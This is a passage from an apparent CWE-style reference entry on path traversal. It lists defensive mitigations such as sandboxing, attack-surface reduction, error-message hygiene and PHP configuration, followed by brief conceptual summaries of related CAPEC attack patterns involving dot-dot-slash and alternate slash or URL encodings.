- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.